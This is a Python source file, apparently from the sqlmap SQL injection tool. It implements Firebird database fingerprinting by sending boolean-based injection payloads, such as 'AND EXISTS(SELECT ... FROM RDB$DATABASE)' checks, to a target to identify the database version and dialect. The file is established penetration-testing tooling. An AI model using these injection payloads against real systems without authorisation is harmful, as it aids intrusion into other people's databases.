mirror of
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153 lines
4.5 KiB
Python
153 lines
4.5 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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from lib.core.agent import agent
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from lib.core.common import formatDBMSfp
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from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import getUnicode
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from lib.core.common import randomInt
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from lib.core.common import randomRange
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.session import setDbms
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from lib.core.settings import DBMS
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from lib.core.settings import FIREBIRD_ALIASES
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from lib.request.connect import Connect as Request
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from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
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class Fingerprint(GenericFingerprint):
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def __init__(self):
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GenericFingerprint.__init__(self)
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def getFingerprint(self):
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value = ""
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wsOsFp = formatFingerprint("web server", kb.headersFp)
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if wsOsFp:
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value += "%s\n" % wsOsFp
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if kb.data.banner:
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dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
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if dbmsOsFp:
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value += "%s\n" % dbmsOsFp
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value += "back-end DBMS: "
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if not conf.extensiveFp:
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value += DBMS.FIREBIRD
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return value
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actVer = formatDBMSfp() + " (%s)" % (self.__dialectCheck())
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blank = " " * 15
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value += "active fingerprint: %s" % actVer
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if kb.bannerFp:
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banVer = kb.bannerFp["dbmsVersion"]
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if re.search("-log$", kb.data.banner):
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banVer += ", logging enabled"
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banVer = formatDBMSfp([banVer])
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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htmlErrorFp = getHtmlErrorFp()
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if htmlErrorFp:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
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return value
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def __sysTablesCheck(self):
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retVal = None
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table = (
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("1.0", [" AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)"]),
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("1.5", [" AND NULLIF(%d,%d) IS NULL", " AND EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)"]),
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("2.0", [" AND EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", " AND BIT_LENGTH(%d)>0", " AND CHAR_LENGTH(%d)>0"]),
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("2.1", [" AND BIN_XOR(%d,%d)=0", " AND PI()>0.%d", " AND RAND()<1.%d", " AND FLOOR(1.%d)>=0"])
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)
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for i in xrange(len(table)):
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version, checks = table[i]
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failed = False
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check = checks[randomRange(0,len(checks)-1)].replace("%d", getUnicode(randomRange(1,100)))
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payload = agent.fullPayload(check)
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result = Request.queryPage(payload)
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if result:
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retVal = version
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else:
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failed = True
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break
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if failed:
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break
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return retVal
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def __dialectCheck(self):
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retVal = None
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if kb.dbms:
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payload = agent.fullPayload(" AND EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)")
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result = Request.queryPage(payload)
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retVal = "dialect 3" if result else "dialect 1"
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return retVal
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def checkDbms(self):
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if conf.dbms in FIREBIRD_ALIASES:
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setDbms(DBMS.FIREBIRD)
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self.getBanner()
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if not conf.extensiveFp:
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return True
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logMsg = "testing Firebird"
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logger.info(logMsg)
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randInt = randomInt()
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payload = agent.fullPayload(" AND EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt))
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result = Request.queryPage(payload)
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if result:
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logMsg = "confirming Firebird"
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logger.info(logMsg)
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payload = agent.fullPayload(" AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)")
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result = Request.queryPage(payload)
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if not result:
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warnMsg = "the back-end DMBS is not Firebird"
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logger.warn(warnMsg)
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return False
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setDbms(DBMS.FIREBIRD)
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self.getBanner()
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if not conf.extensiveFp:
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return True
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kb.dbmsVersion = [self.__sysTablesCheck()]
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return True
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else:
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warnMsg = "the back-end DMBS is not Firebird"
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logger.warn(warnMsg)
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return False
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def forceDbmsEnum(self):
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conf.db = "Firebird"
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